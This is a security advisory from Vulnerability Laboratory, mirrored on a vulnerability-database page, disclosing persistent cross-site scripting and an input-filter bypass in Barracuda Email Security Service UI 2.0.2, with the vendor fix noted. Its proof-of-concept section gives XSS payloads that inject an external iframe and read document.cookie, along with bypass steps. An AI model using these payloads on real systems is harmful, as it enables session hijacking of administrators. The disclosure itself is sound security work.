Lucene search
K

Barracuda EMail Security 2.0.2 Filter Bypass / XSS

🗓️ 02 Aug 2012 00:00:00Reported by Benjamin Kunz MejriType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

Barracuda Email Security 2.0.2 - Web Vulnerabilities discovere

Code
`Title:  
======  
Barracuda EMail Security 2.0.2 - Multiple Web Vulnerabilities  
  
  
Date:  
=====  
2012-08-01  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=621  
http://www.vulnerability-lab.com/get_content.php?id=630  
  
Barracuda Networks Security ID: BNSEC-304   
  
  
VL-ID:  
=====  
621  
  
  
Common Vulnerability Scoring System:  
====================================  
4.1  
  
  
Introduction:  
=============  
The Barracuda Email Security Service is a comprehensive and affordable cloud-based email security service that protects   
both inbound and outbound email against the latest spam, viruses, worms, phishing and denial of service attacks. Barracuda   
Email Security Service also includes email encryption and Data Loss Prevention features.  
  
The Barracuda Email Security Service leverages advanced security technologies from the industry-leading Barracuda Spam & Virus   
Firewall and features rich multiple cloud-based protection:  
  
Rate control and Denial of Service (DoS) protection  
Reputation-based blocking from known spam and malware sources  
Anti-virus, featuring the patent-pending Barracuda Anti-Virus Supercomputing Grid  
Anti-phishing, using the Barracuda Anti-Fraud Intelligence  
Protection against spam, phishing, fraud and emails with other malicious intent  
Custom sender/recipient policy  
  
Comprehensive Protection  
Spam and viruses are blocked in the cloud prior to delivery to the customer, saving network bandwidth and providing additional   
Denial of Service protection. In addition to network bandwidth savings, cloud-based filtering offloads any processing required   
for spam and virus filtering from the email server. By leveraging the compute capacity available in the cloud, patent-pending   
Barracuda Anti-Virus Supercomputing Grid not only detects new outbreaks similar to known viruses, it also identifies new threats   
for which signatures have never existed.  
  
(Copy of the Vendor Homepage: https://www.barracudanetworks.com/ns/products/bess_overview.php )  
  
  
Abstract:  
=========  
The Vulnerability Laboratory Research Team discovered an input filter bypass & 2 persistent web vulnerabilities in Barracudas EMail Security Application UI v2.0.2.  
  
  
Report-Timeline:  
================  
2012-06-20: Researcher Notification & Coordination  
2012-06-23: Vendor Notification  
2012-07-01: Vendor Response/Feedback  
2012-07-24: Vendor Fix/Patch  
2012-08-01: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
Barracuda Networks  
Product: EMail Security Appliance Application vUI 2.0.2 & older versions  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Medium  
  
  
Details:  
========  
A filter bypass vulnerability & 2 persistent input validation vulnerabilities are detected in Barracudas EMail Security Application UI v2.0.2.  
The vulnerability allows an attacker (remote) to bypass the input validation & exception handling to inject or display own malicious   
persistent context on application side (persistent). The vulnerabilities are located in the Domain Settings > Directory Services > LDAP Host   
module with the vulnerable bound name parameter. The secound persistent vulnerability is located in the reports module with the bound   
vulnerable parameters start date & end date. Exploitation requires low user inter action & privileged application user account. Successful   
exploitation of the vulnerability can lead to session hijacking (admin) or stable (persistent) context manipulation.   
  
Vulnerable Module(s):  
[+] Domain Settings > Directory Services > LDAP Host (/domains/info/4)  
[+] Reports (../reports)  
  
Vulnerale Parameter(s):  
[+] LDAP Host > NAME  
[+] Reports > Date Start & Date End  
  
  
Proof of Concept:  
=================  
1.1  
The persistent web vulnerability can be exploited by remote attackers with privileged user account & low user inter action.  
For demonstration or reproduce ...  
  
Review: Domain Settings > Directory Services > LDAP Host  
  
<div id="directory-services" class="module">  
<h4 class="module-title">Directory Services</h4>  
<div class="module-content">  
<div class="warn notice" id="ldap-test-result" style=""><img src="/images/spinner1.gif"   
alt="loading..."> Connecting to >"<iframe src="http://global-evolution.info">@gmail.com >"<script>alert(document.cookie)</script><div style="[email protected] 0</iframe></div>   
<div style="float: right;">  
<a href="https://ess.barracudanetworks.com/domains/sync_ldap/4" class="btn"><span><span>Synchronize Now</span></span></a>  
<a href="#" class="btn" id="ldap-test-btn"><span><span>Test Settings</span></span></a>  
</div>  
<p class="field">  
<label class="label" for="ldap_host">LDAP Host:</label>  
<input name="ldap_host" id="ldap_host" size="30" value=">  
"<iframe src=http://global-evolution.info>@gmail.com >"<script>alert(document.cookie)</script><  
div style="[email protected] 0" type="text">  
  
URL: https://ess.127.0.0.1:1338/domains/info/4  
  
PoC: >">"<iframe src=http://global-evolution.info>VL >"<div style="1 >">"  
  
Note:  
To bypass the validation close the tag of the exception handling on beginning with double quotes 2 times.  
The mask of the exception (>") will be bypassed and the string will be executed out of the secure exception handling message.  
  
  
  
1.2  
The persistent web vulnerability can be exploited by remote attackers with privileged user account & low user inter action.  
For demonstration or reproduce ...  
  
Vulnerable Module: Reports > Date Start > Date End  
  
PoC: >"<iframe src=http://global-evolution.info>  
  
URL: https://ess.127.0.0.1:1338/reports  
  
Note:  
1. Include a start Date & End Date  
2. Inject after the start date & end date your own persistent script code  
3. Result: The script code get executed out of the date listing application context  
4. Save value with script code to events for exploitation via module.  
  
  
Solution:  
=========  
BESS version 2.0.4, release July 24th, 2012 [Barracuda Networks] (Customer Area)  
  
  
Risk:  
=====  
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected])  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases   
or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register  
Contact: [email protected] - [email protected] - [email protected]  
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.   
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other   
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and   
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),   
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.  
  
Copyright © 2012 | Vulnerability Laboratory  
  
  
  
--   
VULNERABILITY RESEARCH LABORATORY  
LABORATORY ADMINISTRATION  
CONTACT: [email protected]  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation